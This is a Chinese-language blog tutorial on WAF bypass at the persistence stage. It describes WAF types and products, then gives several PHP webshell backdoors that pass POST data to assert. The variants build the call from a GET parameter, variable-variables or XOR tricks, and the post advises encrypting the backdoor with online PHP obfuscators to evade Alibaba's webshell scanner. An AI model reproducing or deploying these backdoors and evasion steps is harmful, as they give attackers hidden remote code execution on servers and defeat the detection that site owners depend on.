当前位置: 首页 > news >正文

WAF绕过-权限控制篇-后门免杀

WAF绕过主要集中在信息收集,漏洞发现,漏洞利用,权限控制四个阶段。

1、什么是WAF?

Web Application Firewall(web应用防火墙),一种公认的说法是“web应用防火墙通过执行一系列针对HTTP/HTTPS的安全策略来专门为web应用提供保护的一款产品。

基本可以分为以下4种:

软件型WAF

以软件的形式安装在服务器上面,可以接触到服务器上的文件,因此就可以检测服务器上是否有webshell,是否有文件被创建等。

硬件型WAF

以硬件形式部署在链路中,支持多种部署方式。当串联到链路上时可以拦截恶意流量,在旁路监听模式时只记录攻击但是不进行拦截。

云 WAF

一般以反向代理的形式工作,通过配置后,使对网站的请求数据优先经过WAF主机,在WAF主机对数据进行过滤后再传给服务器。

网站内置的WAF

就是来自网站内部的过滤,直接出现在网站代码中,比如说对输入的参数强制类转换啊,对输入的参数进行敏感词检测啊什么的。

 

2、如何判断WAF?

Wafw00f识别工具:https://github.com/EnableSecurity/wafw00f

看图识别:https://mp.weixin.qq.com/s/3uUZKryCufQ_HcuMc8ZgQQ

其他项目脚本平台。

 

3、目前有哪些常见WAF产品?

参考:https://blog.csdn.net/w2sft/article/details/104533082/

① 硬件型

硬件型WAF以一个独立的硬件设备的形态存在,支持以多种方式(如透明桥接模式、旁路模式、反向代理等)部署到网络中为后端的Web应用提供安全防护,是最为传统的WAF型态,在受访企业中部署占比为35.2%。相对于软件产品类的WAF,这类产品的优点是性能好、功能全面、支持多种模式部署等,但它的价格通常比较贵。国内的绿盟、安恒、启明星辰等老牌厂商旗下的WAF都属于此类。

② 软件型

这种类型的WAF采用纯软件的方式实现,特点是安装简单,容易使用,成本低。但它的缺点也是显而易见的,除了性能受到限制外,还可能会存在兼容性、安全等问题。这类WAF的代表有ModSecurity、Naxsi、ShareWAF、安全狗等。

③ 云WAF

随着云计算技术的快速发展,使得基于云的WAF实现成为可能,在本次调查中占比甚至超过了传统的硬件WAF跃升为第一位,达到39.4%。阿里云、腾讯云、深信服云WAF、Imperva WAF是这类WAF的典型代表。

 

4.演示:代码-脚本后门免杀变异-传参&覆盖&加密变异&异或运算

1.传参带入

后门代码:

<?php
$a=$_GET['a'];
$aa=$a.'ert';
$aa(base64_decode($_POST['x']));
?>

传递参数:a=ass

使用阿里云Webshell检测平台检测脚本代码

地址:https://ti.aliyun.com/#/webshell

放入脚本后门代码:

被检测出是恶意脚本:

 

2.变量覆盖

后门代码:

<?php
$a='b';
$b='assert';
$$a(base64_decode($_POST['x']));
?>

使用阿里云Webshell检测平台检测脚本代码

放入脚本后门代码:

被检测出是恶意脚本:

 

3.异或运算

后门代码:

<?php
$a=('!'^'@').'ssert';
$a($_POST[x]);
?>

经过异或运算后('!'^'@')值为a

使用阿里云Webshell检测平台检测脚本代码

放入脚本后门代码:

被检测出是恶意脚本:

 

4.混淆/加密变异

将脚本后门代码经过加密之后在上传

在线加密:

Free Online Developer Tools - TOOLFK

PHP加密 - PHP在线加密平台

php加密|php在线加密|php组件加密|php源码加密|zend加密|ionCube9加密|最好的PHP在线加密工具

脚本后门代码:

<?php
$a=$_GET['a'];
$aa=$a.'ert';
$aa(base64_decode($_POST['x']));
?>

进行在线加密:

地址:https://www.phpjiami.com/phpjiami.html

加密后生成一个zip文件

解压文件得到加密后的文件:

使用阿里云Webshell检测平台检测脚本代码

放入脚本后门文件:

成功绕过了检测:

所以脚本后门免杀最实用的就是加密变异。

http://www.lryc.cn/news/104788.html

相关文章:

  • LED灯的驱动,GPIO子系统,添加按键的中断处理
  • Gradle和Maven的区别
  • C#中 使用yield return 优化大数组或集合的访问
  • ROS实现导航中止(pub命令版+C++代码版)
  • 【VTK】读取一个 STL 文件,并使用 Qt 显示出来,在 Windows 上使用 Visual Studio 配合 Qt 构建 VTK
  • 数据结构--基础知识
  • 天工开物 #7 Rust 与 Java 程序的异步接口互操作
  • python实现视频转GIF动图(无水印,包含代码详解和.exe执行文件)
  • 一套AI+医疗模式的医院智慧导诊系统源码:springboot+redis+mybatis plus+mysql
  • Android 使用modbus协议与可能遇到的问题解决一览
  • Virtualbox虚拟机中Ubuntu忘记密码
  • isPresent()
  • DC.js教程_编程入门自学教程_菜鸟教程-免费教程分享
  • Qt应用开发(基础篇)——滑块类 Slider、ScrollBar、Dial
  • iOS的NSUserActivity
  • Android HTTP使用(详细版)
  • 【雕爷学编程】MicroPython动手做(25)——语音合成与语音识别
  • 前端开发:基于cypress的自动化实践
  • C++类和对象(下部曲)
  • 解决eclipse 打开报错 An error has occurred. See the log file null.
  • javascript学习
  • 基于SSM实现个人随笔分享平台:创作心灵,分享自我
  • 从零开始学Docker(二):启动第一个Docker容器
  • unity 鼠标事件
  • 【ChatGPT】相关解读
  • 【数据中台】DataX源码进行二开插件
  • 【数据结构与算法】基数排序
  • Java基础一(队列和堆栈)
  • 使用ansible playbook编写lnmp架构
  • 使用 TorchText 进行语言翻译